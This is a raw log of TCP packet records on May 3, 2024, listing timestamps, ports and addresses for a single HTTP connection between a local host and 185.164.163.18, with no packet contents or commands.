May 3, 2024 23:27:28.994231939 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.054018974 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.054151058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.054194927 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.164416075 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.164434910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.164495945 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.223207951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.223278999 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.223329067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.331576109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.331724882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.331866980 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.390815020 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.391109943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.391125917 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.391154051 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.437371016 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.496572971 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.496591091 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.496639013 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.556727886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.556756020 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.556799889 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.604296923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.648487091 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.666548967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.666599989 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.666662931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.726075888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.726104021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.726156950 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.814255953 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.814325094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.814383984 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.831161976 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.831264973 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.831314087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.897233009 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.897295952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:29.897361994 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:29.985924006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.001168013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.001182079 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.001247883 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.066586018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.066600084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.066606998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.066828966 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.167399883 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.167467117 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.167996883 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.168039083 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.223140955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.223470926 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.233335018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.281127930 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.336874962 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.390499115 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.447664976 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.447753906 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.555330992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.555454969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.555617094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.555696964 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.615966082 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.616024971 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.722512007 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.722599983 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.722783089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.765558958 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.785099030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.828058004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.893143892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.932759047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.932857990 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:30.993599892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.993618011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:30.993664026 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.103473902 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.103491068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.103605986 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.163233995 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.163506985 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.163582087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.273063898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.273078918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.273174047 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.331703901 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.331717968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.331880093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.437736034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.437774897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.437897921 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.497524977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.497591019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.497643948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.497678041 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.546751022 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.606688023 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.606705904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.606748104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.662066936 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.662081957 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.662136078 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.775454044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.775527000 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.775542974 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.775691032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.830576897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.830668926 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.830708981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.830796003 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.945393085 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.945492029 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.945529938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:31.995310068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.995326042 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:31.995470047 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.166713953 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.166740894 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.166774988 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.166775942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.166789055 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.166815042 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.166856050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.166894913 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.337548018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.337563038 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.337599993 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.337771893 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.337773085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.502365112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.502384901 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.502397060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.502408981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.502505064 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.502732038 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.672944069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.672971010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.672982931 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.673058033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.673093081 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.673209906 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:32.842940092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.843079090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.843092918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.843106031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:32.843208075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.011812925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.011831999 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.011843920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.011888981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.011919975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.011977911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.012001991 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.012144089 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.182687998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.182710886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.182794094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.182864904 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.182898998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.182984114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.183008909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.183105946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.183193922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.354134083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.354152918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.354197025 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.354224920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.354302883 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.354382992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.354383945 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.354456902 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.354496956 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.520741940 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.520885944 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.520900965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.520910978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.520924091 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.520936012 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.521073103 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.686341047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.686403036 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.686548948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.686578989 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.686619997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.686721087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.686747074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.686994076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.687073946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.687088013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.687184095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.687247992 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.851344109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.851360083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.851371050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.851394892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.851499081 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.851564884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.851578951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.851655006 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:33.851977110 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.851991892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:33.852060080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.018872023 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.018992901 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.019006014 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.019017935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.019035101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.019047022 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.019207001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.019443035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.019458055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.019471884 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.019520044 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.187731028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.187748909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.187762022 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.187825918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.187840939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.187881947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.187896013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.187937021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.188024998 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.188074112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.359026909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359112024 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359181881 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.359188080 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359205008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359258890 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.359299898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359359026 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359404087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.359422922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359491110 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.359549046 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.524817944 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.524873972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.524924040 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.524939060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525001049 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525043011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525049925 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.525191069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525248051 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.525253057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525372982 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525417089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525423050 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.525504112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.525557041 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.693996906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694020987 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694034100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694041967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694108963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694159031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694173098 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.694183111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694298983 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.694375038 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.694449902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.863627911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.863733053 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.863799095 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.863806963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.863883018 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.863950968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.864025116 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.864032030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.864106894 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:34.864170074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:34.864242077 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.030173063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.030193090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.030215025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.030227900 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.030239105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.030333042 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.030464888 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.030493021 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.078002930 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.194952965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.195036888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.195106030 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.195116043 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.195241928 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.195291042 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.195303917 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.195372105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.195421934 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.247554064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.296763897 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.365427971 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.365488052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.365503073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.365525961 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.365678072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.365719080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.365792036 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.365845919 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.365907907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.365953922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.365974903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.366015911 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.463013887 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.463028908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.463083029 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.535048008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.535063982 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.535129070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.535142899 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.535505056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.535562038 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.535680056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.535693884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.535721064 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.627825022 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.627882004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.627938032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.700872898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.700916052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.700969934 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.702038050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.702131987 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.702172995 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.702184916 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.749901056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.795155048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.795222998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.795272112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.865616083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.865689993 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.865850925 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.866789103 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.866837025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.866889000 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.916373968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.916429043 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.916507959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:35.960407019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.960570097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.960649014 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:35.960746050 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.015614033 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.033979893 CEST	80	49730	185.164.163.18	192.168.2.4
